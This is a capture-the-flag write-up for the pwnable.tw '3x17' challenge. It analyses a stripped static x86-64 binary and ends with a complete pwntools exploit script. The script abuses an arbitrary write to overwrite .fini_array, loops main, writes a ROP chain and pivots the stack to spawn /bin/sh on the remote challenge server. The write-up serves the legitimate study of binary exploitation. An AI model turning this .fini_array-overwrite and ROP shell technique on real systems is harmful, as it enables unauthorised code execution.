❯ file 3x17
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
❯ checksec 3x17
[*] '/root/Share/pwnable.tw/5.3x17/3x17'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Find the exploitable program segment:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // [rsp+8h] [rbp-28h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 )
{
write(1u, "addr:", 5uLL);
read(0, buf, 0x18uLL);
v4 = (char *)(int)strtol((__int64)buf);
write(1u, "data:", 5uLL);
read(0, v4, 0x18uLL);
result = 0;
}
if ( __readfsqword(0x28u) != v6 )
canary();
return result;
}
Dynamically debug to figure out what strtol function does.
strtol func: input 100 → 0x64(number)
After we put this binary file into IDA pro or Ghidra, we found that the file is stripped. Symbolic names are missing.
So, we write a simple hello world program under the same environment of this elf file, and explore symbolic names in some system calls like _start
.
.text:0000000000401A50 public start
.text:0000000000401A50 start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50 ; __unwind {
.text:0000000000401A50 31 ED xor ebp, ebp
.text:0000000000401A52 49 89 D1 mov r9, rdx
.text:0000000000401A55 5E pop rsi
.text:0000000000401A56 48 89 E2 mov rdx, rsp
.text:0000000000401A59 48 83 E4 F0 and rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D 50 push rax
.text:0000000000401A5E 54 push rsp
.text:0000000000401A5F 49 C7 C0 60 29 40 00 mov r8, offset sub_402960
.text:0000000000401A66 48 C7 C1 D0 28 40 00 mov rcx, offset sub_4028D0
.text:0000000000401A6D 48 C7 C7 6D 1B 40 00 mov rdi, offset sub_401B6D
.text:0000000000401A74 db 67h
.text:0000000000401A74 67 E8 36 04 00 00 call sub_401EB0
.text:0000000000401A74
.text:0000000000401A7A F4 hlt
.text:0000000000401A7A ; } // starts at 401A50
objdump -M intel -d temp_bin
0000000000001060 <_start>: [0/137]
1060: f3 0f 1e fa endbr64
1064: 31 ed xor ebp,ebp
1066: 49 89 d1 mov r9,rdx
1069: 5e pop rsi
106a: 48 89 e2 mov rdx,rsp
106d: 48 83 e4 f0 and rsp,0xfffffffffffffff0
1071: 50 push rax
1072: 54 push rsp
1073: 4c 8d 05 66 01 00 00 lea r8,[rip+0x166] # 11e0 <__libc_csu_fini>
107a: 48 8d 0d ef 00 00 00 lea rcx,[rip+0xef] # 1170 <__libc_csu_init>
1081: 48 8d 3d c1 00 00 00 lea rdi,[rip+0xc1] # 1149 <main>
1088: ff 15 52 2f 00 00 call QWORD PTR [rip+0x2f52] # 3fe0 <__libc_start_main@GLIBC_2.2.5>
108e: f4 hlt
108f: 90 nop
Check the file's segment table:
It is known as the execution flow is as follows:
.init
.init_array[0]
.init_array[1]
…
.init_array[n]
main
.fini_array[n]
…
.fini_array[1]
.fini_array[0]
.fini
Deep into __libc_csu_fini
0x00402960 push rbp
0x00402961 lea rax, section..data.rel.ro ; 0x4b4100
0x00402968 lea rbp, section..fini_array ; 0x4b40f0
0x0040296f push rbx
0x00402970 sub rax, rbp
0x00402973 sub rsp, 8
0x00402977 sar rax, 3
0x0040297b je 0x402996
0x0040297d lea rbx, [rax - 1]
0x00402981 nop dword [rax]
0x00402988 call qword [rbp + rbx*8]
0x0040298c sub rbx, 1
0x00402990 cmp rbx, 0xffffffffffffffff
0x00402994 jne 0x402988
0x00402996 add rsp, 8
0x0040299a pop rbx
0x0040299b pop rbp
0x0040299c jmp section..fini
0x004029a1 nop word cs:[rax + rax]
0x004029ab nop dword [rax + rax]
In this funciton, rbp is set to 0x4b40f0. So, we can use leave
instruction to shift stack frame, and write data into any memory frequently in order to fill our ROP chain.
leave:
mov rsp, rbp
pop rbp
Payload:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author: eclipse
from pwn import *
# ! Configuration
REMOTE = 1
binfile = './3x17'
ip, port = 'chall.pwnable.tw', 10105
context(os='linux', arch='amd64', log_level='debug')
# ! Initialization
def conn():
if REMOTE == 1: io = remote(ip, port)
else: io = process(binfile)
return io
# ! Exploitation
def pwn():
def write(addr, data):
io.sendafter('addr:', str(addr))
io.sendafter('data:', data)
io, elf = conn(), ELF(binfile)
main_addr = 0x401B6D
fini_arr = 0x4B40F0
libc_csu_fini = 0x402960
rop_chain = 0x4B4100
ret = 0x401016
leave_ret = 0x401C4B
pop_rax_ret = 0x41E4AF
pop_rdi_ret = 0x401696
pop_rsi_ret = 0x406C30
pop_rdx_ret = 0x446E35
bin_sh = 0x4B9600
syscall_ret = 0x471DB5
# Loop program
write(fini_arr, p64(libc_csu_fini) + p64(main_addr))
# ROP: syscall('/bin/sh', 0, 0) eax=0x3b
write(bin_sh, b'/bin/sh\x00')
write(rop_chain, p64(pop_rax_ret))
write(rop_chain+8, p64(0x3b))
write(rop_chain+16, p64(pop_rdi_ret) + p64(bin_sh))
write(rop_chain+32, p64(pop_rsi_ret) + p64(0))
write(rop_chain+48, p64(pop_rdx_ret) + p64(0))
write(rop_chain+64, p64(syscall_ret))
# Enter rop
write(fini_arr, p64(leave_ret) + p64(ret))
io.interactive()
if __name__ == "__main__":
pwn()